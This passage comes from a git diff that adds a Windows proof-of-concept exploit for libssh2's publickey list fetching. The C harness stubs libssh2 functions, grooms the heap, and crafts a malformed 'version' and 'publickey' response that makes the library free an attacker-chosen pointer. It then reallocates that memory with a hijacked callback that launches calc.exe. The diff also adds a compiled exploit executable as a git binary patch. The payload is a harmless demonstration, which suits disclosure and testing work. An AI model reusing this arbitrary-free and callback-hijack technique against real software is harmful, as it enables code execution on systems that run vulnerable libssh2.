records[MAX_RECORDS]; + +static void track_ptr(void *ptr) +{ + size_t i; + if(!ptr) + return; + for(i = 0; i < MAX_RECORDS; i++) { + if(!records[i].live) { + records[i].ptr = ptr; + records[i].live = 1; + return; + } + } +} + +static int untrack_ptr(void *ptr) +{ + size_t i; + for(i = 0; i < MAX_RECORDS; i++) { + if(records[i].live && records[i].ptr == ptr) { + records[i].live = 0; + return 1; + } + } + return 0; +} + +static void safe_callback(void) +{ + fprintf(stderr, "safe_callback_reached\n"); +} + +static void launch_calc_callback(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x64_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x64 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "calc_payload_reached callback=%p\n", + launch_calc_callback); + + if(launch_real_calc) { + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, + &si, &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + } + + ExitProcess(77); +} + +static void *app_alloc_raw(size_t size) +{ + void *ptr = HeapAlloc(app_heap, 0, size ? size : 1); + track_ptr(ptr); + return ptr; +} + +static void app_free_raw(void *ptr) +{ + if(ptr) { + if(!untrack_ptr(ptr)) { + heap_free_failures++; + fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr); + return; + } + if(HeapFree(app_heap, 0, ptr)) { + if(ptr == stale_victim) + victim_freed = 1; + } + else { + heap_free_failures++; + fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr, + (unsigned long)GetLastError()); + } + } +} + +static LIBSSH2_ALLOC_FUNC(app_alloc) +{ + void *ptr; + (void)abstract; + ptr = app_alloc_raw(count); + fprintf(stderr, "alloc size=%llu ptr=%p\n", + (unsigned long long)(count ? count : 1), ptr); + return ptr; +} + +static LIBSSH2_FREE_FUNC(app_free) +{ + (void)abstract; + fprintf(stderr, "free ptr=%p\n", ptr); + app_free_raw(ptr); +} + +static LIBSSH2_REALLOC_FUNC(app_realloc) +{ + void *newptr; + (void)abstract; + if(!ptr) + return app_alloc(count, abstract); + newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1); + if(newptr) { + untrack_ptr(ptr); + track_ptr(newptr); + } + fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr, + (unsigned long long)(count ? count : 1), newptr); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = app_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static void append_version_groom(uintptr_t attrs_ptr) +{ + size_t payload_len = 9 * sizeof(libssh2_publickey_list); + unsigned char *start = wire + wire_len; + unsigned char *payload = start + 4; + unsigned char *p; + + ssh2_htonu32(start, (uint32_t)payload_len); + memset(payload, 0, payload_len); + p = put_string(payload, "version"); + memset(p, 0, payload_len - (size_t)(p - payload)); + memcpy(payload + offsetof(libssh2_publickey_list, attrs), + &attrs_ptr, sizeof(attrs_ptr)); + wire_len += 4 + payload_len; +} + +static void append_malformed_publickey(void) +{ + unsigned char payload[64]; + unsigned char *p = payload; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + *p++ = 0; + ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload)); + memcpy(wire + wire_len + 4, payload, (size_t)(p - payload)); + wire_len += 4 + (size_t)(p - payload); +} + +static int run_once(void) +{ + LIBSSH2_SESSION session; + LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + struct victim payload; + struct victim *replacement; + int rc; + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + memset(&payload, 0x43, sizeof(payload)); + + stale_victim = app_alloc_raw(sizeof(*stale_victim)); + if(!stale_victim) + return 70; + memset(stale_victim, 0x42, sizeof(*stale_victim)); + stale_victim->cb = safe_callback; + + payload.cb = launch_calc_callback; + + fprintf(stderr, + "victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n", + stale_victim, (unsigned long long)sizeof(*stale_victim), + launch_calc_callback, + (unsigned long long)sizeof(libssh2_publickey_list), + (unsigned long long)offsetof(libssh2_publickey_list, attrs)); + + { + void *small_prime = app_alloc_raw(19); + small_guard = app_alloc_raw(64); + fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n", + small_prime, small_guard); + app_free_raw(small_prime); + } + + session.alloc = app_alloc; + session.free = app_free; + session.realloc = app_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + append_version_groom((uintptr_t)stale_victim); + append_malformed_publickey(); + + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + fprintf(stderr, + "fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n", + rc, num_keys, victim_freed, heap_free_failures); + + replacement = app_alloc_raw(sizeof(*replacement)); + fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement, + replacement == stale_victim); + if(replacement) + memcpy(replacement, &payload, sizeof(payload)); + + fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb); + stale_victim->cb(); + + return victim_freed ? 2 : 0; +} + +int main(int argc, char **argv) +{ + if(argc > 1 && !strcmp(argv[1], "calc")) + launch_real_calc = 1; + + app_heap = HeapCreate(0, 0, 0); + if(!app_heap) + return 69; + + return run_once(); +} diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe new file mode 100644 index 0000000000000000000000000000000000000000..8eccbd31ae472b671dba2d97debe1bd0af0024b2 GIT binary patch literal 31232 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 